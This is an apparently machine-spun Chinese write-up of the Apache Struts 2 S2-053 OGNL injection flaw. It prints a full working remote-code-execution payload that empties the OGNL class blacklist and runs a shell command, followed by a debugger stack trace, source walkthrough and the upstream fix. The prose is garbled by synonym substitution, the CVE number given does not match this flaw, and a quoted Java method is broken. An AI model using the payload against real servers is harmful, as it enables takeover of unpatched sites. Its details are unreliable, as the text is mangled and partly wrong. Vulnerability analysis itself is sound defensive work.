Struts 2 S2-053破绽漏洞bug专题研究(配POC)
破绽漏洞bug概述
破绽漏洞bug范例
长途代码履行破绽漏洞bug
CVE-ID
CVE-2017-1000112
迫害品级
高危
影响版本
Struts 2.0.1Struts 2.3.33Struts 2.5 – Struts 2.5.10
破绽漏洞bug迫害
当开发者在Freemarker标签中应用以下代码时<@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” />Freemarker会将值当成表达式停止履行,末了招致代码履行。
poc示例
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/usr/bin/touch /tmp/vuln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
poc调试
简略浏览poc后,按照惯例,将断点打在ProcessBuilder类的start()办法
//java.lang.ProcessBuilder
public Process start() throws IOException {
// Must convert to array first -- a malicious user-supplied
// list might try to circumvent the security check.
String[] cmdarray = command.toArray(new String[command.size()]);
cmdarray = cmdarray.clone();
for (String arg : cmdarray)
if (arg == null)
throw new NullPointerException();
// Throws IndexOutOfBoundsException if command is empty
String prog = cmdarray[0];
SecurityManager security = System.getSecurityManager();
if (security != null)
security.checkExec(prog);
String dir = directory == null ? null : directory.toString();
for (int i = 1; i < cmdarray.length; i++) {
if (cmdarray[i].indexOf('u0000') >= 0) {
throw new IOException("invalid null character in command");
}
}
try {
return ProcessImpl.start(cmdarray,
environment,
dir,
redirects,
redirectErrorStream);
} catch (IOException | IllegalArgumentException e) {
String exceptionInfo = ": " + e.getMessage();
Throwable cause = e;
if ((e instanceof IOException) && security != null) {
// Can not disclose the fail reason for read-protected files.
try {
security.checkRead(prog);
exceptionInfo = "";
cause = se;
}
}
// It's much easier for us to create a high-quality error
// message than the low-level C code which found the problem.
throw new IOException(
"Cannot run program "" + prog + """
+ (dir == null ? "" : " (in directory "" + dir + "")")
+ exceptionInfo,
cause);
}
}
进入断点,咱们拿到了办法的挪用栈信息
"qtp407997647-16@2296" prio=5 tid=0x10 nid=NA runnable
java.lang.Thread.State: RUNNABLE
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1007)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at ognl.OgnlRuntime.invokeMethod(OgnlRuntime.java:873)
- locked <0x1393> (a java.lang.reflect.Method)
at ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1539)
at ognl.ObjectMethodAccessor.callMethod(ObjectMethodAccessor.java:68)
at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethodWithDebugInfo(XWorkMethodAccessor.java:96)
at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethod(XWorkMethodAccessor.java:88)
at ognl.OgnlRuntime.callMethod(OgnlRuntime.java:1615)
at ognl.ASTMethod.getValueBody(ASTMethod.java:91)
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
at ognl.SimpleNode.getValue(SimpleNode.java:258)
at ognl.ASTChain.getValueBody(ASTChain.java:141)
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
at ognl.SimpleNode.getValue(SimpleNode.java:258)
at ognl.ASTAssign.getValueBody(ASTAssign.java:52)
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
at ognl.SimpleNode.getValue(SimpleNode.java:258)
at ognl.ASTChain.getValueBody(ASTChain.java:141)
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
at ognl.SimpleNode.getValue(SimpleNode.java:258)
at ognl.Ognl.getValue(Ognl.java:467)
at com.opensymphony.xwork2.ognl.OgnlUtil$4.execute(OgnlUtil.java:359)
at com.opensymphony.xwork2.ognl.OgnlUtil.compileAndExecute(OgnlUtil.java:382)
at com.opensymphony.xwork2.ognl.OgnlUtil.getValue(OgnlUtil.java:357)
at com.opensymphony.xwork2.ognl.OgnlValueStack.getValue(OgnlValueStack.java:360)
at com.opensymphony.xwork2.ognl.OgnlValueStack.tryFindValue(OgnlValueStack.java:348)
at com.opensymphony.xwork2.ognl.OgnlValueStack.tryFindValueWhenExpressionIsNotNull(OgnlValueStack.java:323)
at com.opensymphony.xwork2.ognl.OgnlValueStack.findValue(OgnlValueStack.java:307)
at com.opensymphony.xwork2.ognl.OgnlValueStack.findValue(OgnlValueStack.java:368)
at com.opensymphony.xwork2.util.OgnlTextParser.evaluate(OgnlTextParser.java:49)
at com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:166)
at com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:109)
at com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:82)
at org.apache.struts2.components.Component.findValue(Component.java:377)
at org.apache.struts2.components.Component.findString(Component.java:223)
at org.apache.struts2.components.URL.findString(URL.java:150)
at org.apache.struts2.components.ComponentUrlProvider.findString(ComponentUrlProvider.java:76)
at org.apache.struts2.components.ServletUrlRenderer.beforeRenderUrl(ServletUrlRenderer.java:242)
at org.apache.struts2.components.URL.start(URL.java:140)
at org.apache.struts2.views.freemarker.tags.CallbackWriter.onStart(CallbackWriter.java:73)
at freemarker.core.Environment.visitAndTransform(Environment.java:422)
at freemarker.core.UnifiedCall.accept(UnifiedCall.java:107)
at freemarker.core.Environment.visit(Environment.java:324)
at freemarker.core.MixedContent.accept(MixedContent.java:54)
at freemarker.core.Environment.visit(Environment.java:324)
at freemarker.core.Environment.process(Environment.java:302)
at freemarker.template.Template.process(Template.java:325)
at org.apache.struts2.views.freemarker.FreemarkerResult.doExecute(FreemarkerResult.java:233)
at org.apache.struts2.result.StrutsResultSupport.execute(StrutsResultSupport.java:208)
at com.opensymphony.xwork2.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:373)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:277)
at org.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:253)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor.doIntercept(DefaultWorkflowInterceptor.java:177)
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.validator.ValidationInterceptor.doIntercept(ValidationInterceptor.java:260)
at org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor.doIntercept(AnnotationValidationInterceptor.java:73)
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor.doIntercept(ConversionErrorInterceptor.java:139)
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:133)
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:133)
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
{C} at com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:192)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at org.apache.struts2.interceptor.MultiselectInterceptor.intercept(MultiselectInterceptor.java:69)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at org.apache.struts2.interceptor.DateTextFieldInterceptor.intercept(DateTextFieldInterceptor.java:115)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at org.apache.struts2.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:88)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at org.apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:248)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:99)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:139)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:155)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.PrepareInterceptor.doIntercept(PrepareInterceptor.java:174)
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at org.apache.struts2.interceptor.I18nInterceptor.intercept(I18nInterceptor.java:120)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at org.apache.struts2.interceptor.ServletConfigInterceptor.intercept(ServletConfigInterceptor.java:171)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:195)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:193)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
at org.apache.struts2.factory.StrutsActionProxy.execute(StrutsActionProxy.java:54)
at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:564)
at org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:81)
at org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:143)
这个破绽漏洞bug跟数目繁多的Interceptor没有甚么干系,咱们间接将注意力会合到freemarker衬着实现后的代码。freemarker给struts2前往的工具仍旧含有客户端传入的ognl表达式,struts2框架就如许履行了咱们结构的歹意代码。
//org.apache.struts2.components.component
/
Evaluates the OGNL stack to find an Object of the given type. Will evaluate
expr the portion wrapped with altSyntax (%{...})
against stack when altSyntax is on, else the whole expr
is evaluated against the stack.
This method only supports the altSyntax. So this should be set to true.
@param expr OGNL expression.
@param toType the type expected to find.
@return the Object found, or null if not found.
protected Object findValue(String expr, Class toType) {
if (altSyntax() && toType == String.class) {
if (ComponentUtils.containsExpression(expr)) {
return TextParseUtil.translateVariables('%', expr, stack);
} else {
return expr;
}
} else {
expr = stripExpressionIfAltSyntax(expr);
return getStack().findValue(expr, toType, throwExceptionOnELFailure);
}
}
看到这里,咱们不由怀疑,struts2的代码就写的这么不安全,没有对表达式做任何处置吗?实在不是的,咱们看下面的代码很显著是一个黑名单机制,感兴趣的同伙能够打断点看看,示例POC里的很多类都榜上有名
//com.opensymphony.xwork2.ognl.OgnlValueStack
@Inject
public void setOgnlUtil(OgnlUtil ognlUtil) {
this.ognlUtil = ognlUtil;
securityMemberAccess.setExcludedClasses(ognlUtil.getExcludedClasses());
securityMemberAccess.setExcludedPackageNamePatterns(ognlUtil.getExcludedPackageNamePatterns());
securityMemberAccess.setExcludedPackageNames(ognlUtil.getExcludedPackageNames());
securityMemberAccess.setDisallowProxyMemberAccess(ognlUtil.isDisallowProxyMemberAccess());
}
但是,道高一尺,魔高一丈,以彼之矛攻彼之盾。咱们间接把用ognl把黑名单给删了。所有的类都能够无阻畅通的结构和履行办法。
(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
民间修复
民间的修复办法非常奇妙,并无去增长额定的过滤咱们看一下2.5.10的代码
//com.opensymphony.xwork2.ognl.OgnlUtil
@Inject(value = XWorkConstants.OGNL_EXCLUDED_PACKAGE_NAMES, required = false)
public void setExcludedPackageNames(String commaDelimitedPackageNames) {
excludedPackageNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedPackageNames);
}
和2.5.12的代码
//com.opensymphony.xwork2.ognl.OgnlUtil
@Inject(value = XWorkConstants.OGNL_EXCLUDED_PACKAGE_NAMES, required = false)
public void setExcludedPackageNames(String commaDelimitedPackageNames) {
excludedPackageNames = Collections.unmodifiableSet(TextParseUtil.commaDelimitedStringToSet(commaDelimitedPackageNames));
}
再回想咱们绕过黑名单的代码
#ognlUtil.getExcludedPackageNames().clear()
struts2针对这类舞弊的办法,将excludedPackageNames设为了UnmodifiableSet范例的工具,在这个工具上挪用clear()办法,就会抛出java.lang.UnsupportedOperationException范例的非常,法式进入非常处置分支,防止了后续歹意代码的履行
总结
这个破绽漏洞bug呈现的前提比拟刻薄,必要应用struts2和freemarker,并且必要编码职员有疏漏。但是这并不会转变这是一个高危破绽漏洞bug的现实。一旦网站被发现了这个破绽漏洞bug,效果将是劫难性的。倡议struts2应用者照样尽快进级版本。